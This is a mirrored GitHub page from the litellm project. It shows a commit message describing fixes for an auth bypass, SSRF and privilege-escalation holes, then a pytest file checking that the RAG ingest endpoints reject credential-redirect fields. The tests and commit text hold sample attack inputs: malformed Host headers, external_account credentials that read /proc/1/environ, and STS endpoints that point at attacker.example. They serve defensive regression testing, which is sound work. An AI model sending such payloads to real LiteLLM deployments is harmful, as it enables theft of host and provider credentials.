mirror of
https://github.com/tiennm99/litellm.git
synced 2026-07-12 21:04:10 +00:00
8bbc61e03c
* fix: patch Host-header auth bypass in get_request_route Starlette reconstructs request.url from the Host header. A malformed Host like `localhost/?x=1` causes Starlette to build the full URL as `http://localhost/?x=1/health`, which url-parses to path="/". Since "/" is in LiteLLMRoutes.public_routes, all protected routes became reachable without authentication. Fix: read scope["path"] (set by uvicorn from the HTTP request line, not derivable from headers) instead of request.url.path. Sub-path deployments are handled via scope["app_root_path"] / scope["root_path"], mirroring Starlette's own base_url construction logic. Affected variants confirmed fixed: Host: localhost/?x=1 Host: localhost:4000/?x=1 Host: localhost/#test Host: localhost:4000/#test Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> * style: reduce comments in route fix Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> * fix: block credential fields in RAG ingest vector_store options Credential fields (vertex_credentials, aws_access_key_id, api_key, etc.) in ingest_options.vector_store are now rejected at the API boundary with a 400 error. Credentials must be configured server-side. Previously any authenticated user could supply a vertex_credentials dict with type=external_account pointing credential_source.file at an arbitrary path (e.g. /proc/1/environ) and token_url at an attacker-controlled server. google-auth's identity_pool.Credentials refresh() would read the file and POST its contents to the attacker. Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> * fix: block /key/update self-escalation by assigned users Non-admin users who were assigned a key (created_by != caller) could update any non-budget field — models, rpm_limit, guardrails, etc. — without admin authorization, allowing privilege self-escalation. Gate: only the key creator (created_by == caller) may edit their own key without admin check; budget changes always require admin regardless of creator status. All other callers must pass _check_key_admin_access. Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> * fix: block user-controlled api_base in RAG ingest vector_store options A user-supplied api_base in ingest_options.vector_store caused the server to forward its configured provider credentials (Gemini, OpenAI) to an attacker-controlled endpoint via SSRF. Add api_base to the blocked credential params set alongside api_key and the existing credential fields. Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> * fix: restrict /utils/transform_request to PROXY_ADMIN and apply body safety check Any authenticated internal_user could POST arbitrary provider config (aws_sts_endpoint, api_base, etc.) to /utils/transform_request and have the server forward its credentials to an attacker-controlled endpoint. - Gate the endpoint on PROXY_ADMIN role (403 for all other roles) - Call is_request_body_safe() to reject banned params even for admins - Convert ValueError from safety check to HTTP 400 Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> * fix: apply banned-param check to /utils/transform_request Without is_request_body_safe(), any authenticated user could pass aws_sts_endpoint, api_base, or aws_web_identity_token to /utils/transform_request and have the server forward its configured provider credentials to an attacker-controlled endpoint during SDK credential resolution. Applies the same banned-param blocklist already used by LLM endpoints. Endpoint remains accessible to all authenticated users. Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> * fix: block SSRF via api_base in /prompts/test dotprompt YAML frontmatter Any frontmatter key not in ["model","input","output"] flowed into optional_params and was merged into the LLM call data dict, bypassing is_request_body_safe. An attacker with any bearer key could set api_base in YAML to redirect the outbound LLM request — including the provider API key — to an attacker-controlled host. Fix: call is_request_body_safe on the constructed data dict after optional_params are merged, before invoking ProxyBaseLLMRequestProcessing. ValueError from the banned-param check is surfaced as HTTP 400. Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> * Update litellm/proxy/rag_endpoints/endpoints.py Co-authored-by: veria-ai[bot] <224490171+veria-ai[bot]@users.noreply.github.com> * fix: coerce nested config strings before banned-param check _NESTED_CONFIG_KEYS descent used isinstance(nested, dict) which silently skipped litellm_embedding_config when delivered as a JSON string via multipart/form-data. Banned params (api_base, aws_sts_endpoint, etc.) nested inside the stringified value were invisible to is_request_body_safe. _NESTED_METADATA_KEYS already used _coerce_metadata_to_dict which parses JSON strings before checking. Apply the same coercion to _NESTED_CONFIG_KEYS. Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> * fix: replace substring match with prefix match in is_llm_api_route mapped_pass_through_routes used `_llm_passthrough_route in route` (substring) so any admin-only path whose URL contained a provider name (openai, anthropic, azure, bedrock, etc.) was misclassified as an LLM API route and bypassed the admin gate in non_proxy_admin_allowed_routes_check. Confirmed live: non-admin key could GET /credentials/by_name/openai (read masked provider API key) and DELETE /credentials/openai (delete credential). Fix: use exact match or startswith(prefix + "/") — the same pattern used everywhere else in RouteChecks — so only routes that actually start with a passthrough prefix are allowed through. Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> * fix: stabilize PR #27878 test failures - key_management_endpoints: extend can_skip_admin_check to team keys so team members with /key/update permission can update non-budget fields. can_team_member_execute_key_management_endpoint already validates team membership + permission and raises if unauthorized; reaching the admin check on a team key means the caller was authorized. - test: set created_by on mock key in test_update_key_non_budget_fields_allowed_for_internal_user so caller_is_creator resolves correctly (MagicMock default ≠ user_id). - auth_utils.get_request_route: guard against non-dict request.scope (e.g. MagicMock in unit tests) to prevent a MagicMock leaking into UserAPIKeyAuth.request_route and failing Pydantic validation. - ci: assign test_multipart_bypass_repro.py to the proxy-runtime shard in test-unit-proxy-db.yml to satisfy the shard-coverage check. Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> * fix(lint): add explicit str() cast in get_request_route for MyPy scope.get() returns Any|None which MyPy cannot coerce to str implicitly. Wrap both scope.get() calls in str() to satisfy the type checker. Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> * fix: guard bare-/ root_path strip + make total_spend migration idempotent auth_utils.get_request_route: when Starlette sets scope["app_root_path"] to "/" (e.g. behind some middleware), the old stripping logic would remove the leading slash from every path ("/team/new" → "team/new"), breaking route matching and causing auth to misclassify protected routes. Skip stripping when root_path is bare "/". migration: add IF NOT EXISTS to total_spend ALTER TABLE so the migration is safe to replay when a prior partial run already created the column. Without this guard, prisma migrate deploy fails on CI DBs that were partially migrated, causing all subsequent DB operations (including /team/new) to 500. Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> * fix: require creator still owns key for personal-key bypass in /key/update caller_is_creator now requires both created_by == caller AND user_id == caller. Previously checking only created_by let a demoted admin who originally created a key for another user continue editing non-budget fields on it after reassignment, bypassing _check_key_admin_access. Adds regression test: creator whose key was reassigned is blocked (403). Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> * fix: extract auth checks to fix PLR0915 + broaden max_budget assertion internal_user_endpoints._update_single_user_helper exceeded 50 statements (PLR0915). Extract authorization checks into _check_user_update_authz helper to bring statement count under the limit. test_validate_max_budget: assert "negative" (substring of both the local "cannot be negative" and the CI "non-negative finite number" messages) so the test is stable regardless of which exact wording the function uses. Co-Authored-By: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Sonnet 4.6 (1M context) <noreply@anthropic.com> Co-authored-by: veria-ai[bot] <224490171+veria-ai[bot]@users.noreply.github.com>
245 lines
8.2 KiB
Python
245 lines
8.2 KiB
Python
"""
|
|
Tests for RAG proxy endpoints.
|
|
|
|
Covers:
|
|
- internal_user_viewer restriction: can only ingest to existing vector stores (must provide vector_store_id)
|
|
"""
|
|
|
|
import io
|
|
import os
|
|
import sys
|
|
from unittest.mock import AsyncMock, MagicMock, patch
|
|
|
|
import pytest
|
|
from fastapi.testclient import TestClient
|
|
|
|
sys.path.insert(
|
|
0, os.path.abspath("../../../../..")
|
|
) # Adds the parent directory to the system path
|
|
|
|
from litellm.proxy._types import LitellmUserRoles, UserAPIKeyAuth
|
|
from litellm.proxy.auth.user_api_key_auth import user_api_key_auth
|
|
from litellm.proxy.proxy_server import app
|
|
|
|
|
|
@pytest.fixture
|
|
def client_internal_user_viewer():
|
|
"""Test client with internal_user_viewer auth."""
|
|
mock_auth = UserAPIKeyAuth(
|
|
user_id="test_viewer_user",
|
|
user_role=LitellmUserRoles.INTERNAL_USER_VIEW_ONLY.value,
|
|
)
|
|
original_overrides = app.dependency_overrides.copy()
|
|
app.dependency_overrides[user_api_key_auth] = lambda: mock_auth
|
|
try:
|
|
yield TestClient(app)
|
|
finally:
|
|
app.dependency_overrides = original_overrides
|
|
|
|
|
|
@pytest.fixture
|
|
def client_internal_user():
|
|
"""Test client with internal_user auth (can create new vector stores)."""
|
|
mock_auth = UserAPIKeyAuth(
|
|
user_id="test_internal_user",
|
|
user_role=LitellmUserRoles.INTERNAL_USER.value,
|
|
)
|
|
original_overrides = app.dependency_overrides.copy()
|
|
app.dependency_overrides[user_api_key_auth] = lambda: mock_auth
|
|
try:
|
|
yield TestClient(app)
|
|
finally:
|
|
app.dependency_overrides = original_overrides
|
|
|
|
|
|
def test_internal_user_viewer_rag_ingest_without_vector_store_id_rejected(
|
|
client_internal_user_viewer,
|
|
):
|
|
"""
|
|
internal_user_viewer cannot create new vector stores - must provide vector_store_id.
|
|
"""
|
|
# Form upload without vector_store_id (would create new store)
|
|
response = client_internal_user_viewer.post(
|
|
"/v1/rag/ingest",
|
|
files={"file": ("sample.txt", io.BytesIO(b"test content"), "text/plain")},
|
|
data={
|
|
"request": '{"ingest_options":{"vector_store":{"custom_llm_provider":"openai"}}}'
|
|
},
|
|
)
|
|
|
|
assert response.status_code == 403
|
|
detail = response.json()
|
|
assert "detail" in detail
|
|
error_msg = (
|
|
detail["detail"]["error"]
|
|
if isinstance(detail["detail"], dict)
|
|
else str(detail["detail"])
|
|
)
|
|
assert "internal_user_viewer" in error_msg
|
|
assert "vector_store_id" in error_msg
|
|
|
|
|
|
def test_internal_user_viewer_rag_ingest_with_vector_store_id_passes_check(
|
|
client_internal_user_viewer,
|
|
):
|
|
"""
|
|
internal_user_viewer with vector_store_id passes the role check.
|
|
(Actual ingest may fail due to missing API keys, but we get past 403.)
|
|
"""
|
|
with patch(
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aingest",
|
|
new_callable=AsyncMock,
|
|
return_value={"vector_store_id": "vs_existing", "file_id": "file_123"},
|
|
):
|
|
response = client_internal_user_viewer.post(
|
|
"/v1/rag/ingest",
|
|
files={"file": ("sample.txt", io.BytesIO(b"test content"), "text/plain")},
|
|
data={
|
|
"request": '{"ingest_options":{"vector_store":{"custom_llm_provider":"openai","vector_store_id":"vs_699651f6b6688191b0a210c00a686d20"}}}'
|
|
},
|
|
)
|
|
|
|
# Should not be 403 (role check passed)
|
|
assert response.status_code != 403, (
|
|
f"internal_user_viewer with vector_store_id should pass role check. "
|
|
f"Response: {response.json()}"
|
|
)
|
|
|
|
|
|
def test_internal_user_rag_ingest_without_vector_store_id_allowed(client_internal_user):
|
|
"""
|
|
internal_user can create new vector stores (no vector_store_id required).
|
|
"""
|
|
with patch(
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aingest",
|
|
new_callable=AsyncMock,
|
|
return_value={"vector_store_id": "vs_new", "file_id": "file_123"},
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
files={"file": ("sample.txt", io.BytesIO(b"test content"), "text/plain")},
|
|
data={
|
|
"request": '{"ingest_options":{"vector_store":{"custom_llm_provider":"openai"}}}'
|
|
},
|
|
)
|
|
|
|
# Should not be 403
|
|
assert response.status_code != 403, (
|
|
f"internal_user should be allowed to create new vector stores. "
|
|
f"Response: {response.json()}"
|
|
)
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"blocked_field",
|
|
[
|
|
"vertex_credentials",
|
|
"vertex_ai_credentials",
|
|
"aws_access_key_id",
|
|
"aws_secret_access_key",
|
|
"aws_session_token",
|
|
"api_key",
|
|
"api_base",
|
|
],
|
|
)
|
|
def test_rag_ingest_blocks_clientside_credentials(client_internal_user, blocked_field):
|
|
"""
|
|
Credential fields in ingest_options.vector_store must be rejected.
|
|
|
|
Accepting user-supplied credentials (e.g. vertex_credentials with
|
|
type=external_account + credential_source.file=/proc/1/environ) allows
|
|
any authenticated user to exfiltrate host secrets via SSRF through
|
|
google-auth's identity_pool credential refresh.
|
|
"""
|
|
payload = {
|
|
"ingest_options": {
|
|
"vector_store": {
|
|
"custom_llm_provider": "vertex_ai",
|
|
"vertex_project": "x",
|
|
blocked_field: {
|
|
"type": "external_account",
|
|
"token_url": "http://attacker.example/sts",
|
|
},
|
|
}
|
|
}
|
|
}
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
json={
|
|
**payload,
|
|
"file": {
|
|
"filename": "q.txt",
|
|
"content": "dGVzdA==",
|
|
"content_type": "text/plain",
|
|
},
|
|
},
|
|
)
|
|
assert (
|
|
response.status_code == 400
|
|
), f"Expected 400 when '{blocked_field}' is set clientside, got {response.status_code}: {response.json()}"
|
|
body = response.json()
|
|
assert blocked_field in str(
|
|
body
|
|
), f"Response should mention '{blocked_field}': {body}"
|
|
class TestRagIngestSSRFBlocked:
|
|
"""
|
|
aws_sts_endpoint and related credential-redirect fields must be rejected
|
|
in ingest_options.vector_store. Without this guard, any authenticated
|
|
client can coerce the proxy to make a signed STS AssumeRole call to an
|
|
attacker-controlled server, leaking the instance profile credentials.
|
|
"""
|
|
|
|
@pytest.mark.parametrize(
|
|
"field,value",
|
|
[
|
|
("aws_sts_endpoint", "https://attacker.example/sts"),
|
|
("aws_web_identity_token", "fake-token"),
|
|
("aws_bedrock_runtime_endpoint", "https://attacker.example/bedrock"),
|
|
],
|
|
)
|
|
def test_ssrf_field_in_vector_store_config_rejected(
|
|
self, field, value, client_internal_user
|
|
):
|
|
payload = {
|
|
"file_url": "https://example.com/doc.pdf",
|
|
"ingest_options": {
|
|
"vector_store": {
|
|
"custom_llm_provider": "bedrock",
|
|
field: value,
|
|
}
|
|
},
|
|
}
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
json=payload,
|
|
)
|
|
assert response.status_code == 400, (
|
|
f"{field} in ingest_options.vector_store should be rejected (400), "
|
|
f"got {response.status_code}: {response.json()}"
|
|
)
|
|
body = response.json()
|
|
detail = body.get("detail", {})
|
|
error_text = (
|
|
detail.get("error", "") if isinstance(detail, dict) else str(detail)
|
|
)
|
|
assert field in error_text, f"Error should name the offending field: {error_text}"
|
|
|
|
def test_clean_bedrock_ingest_options_not_rejected(self, client_internal_user):
|
|
with patch(
|
|
"litellm.proxy.rag_endpoints.endpoints.litellm.aingest",
|
|
new_callable=AsyncMock,
|
|
return_value={"vector_store_id": "vs_bedrock", "file_id": "file_123"},
|
|
):
|
|
response = client_internal_user.post(
|
|
"/v1/rag/ingest",
|
|
json={
|
|
"file_url": "https://example.com/doc.pdf",
|
|
"ingest_options": {
|
|
"vector_store": {"custom_llm_provider": "bedrock"}
|
|
},
|
|
},
|
|
)
|
|
assert response.status_code != 400, (
|
|
f"Clean Bedrock ingest_options should not be rejected: {response.json()}"
|
|
)
|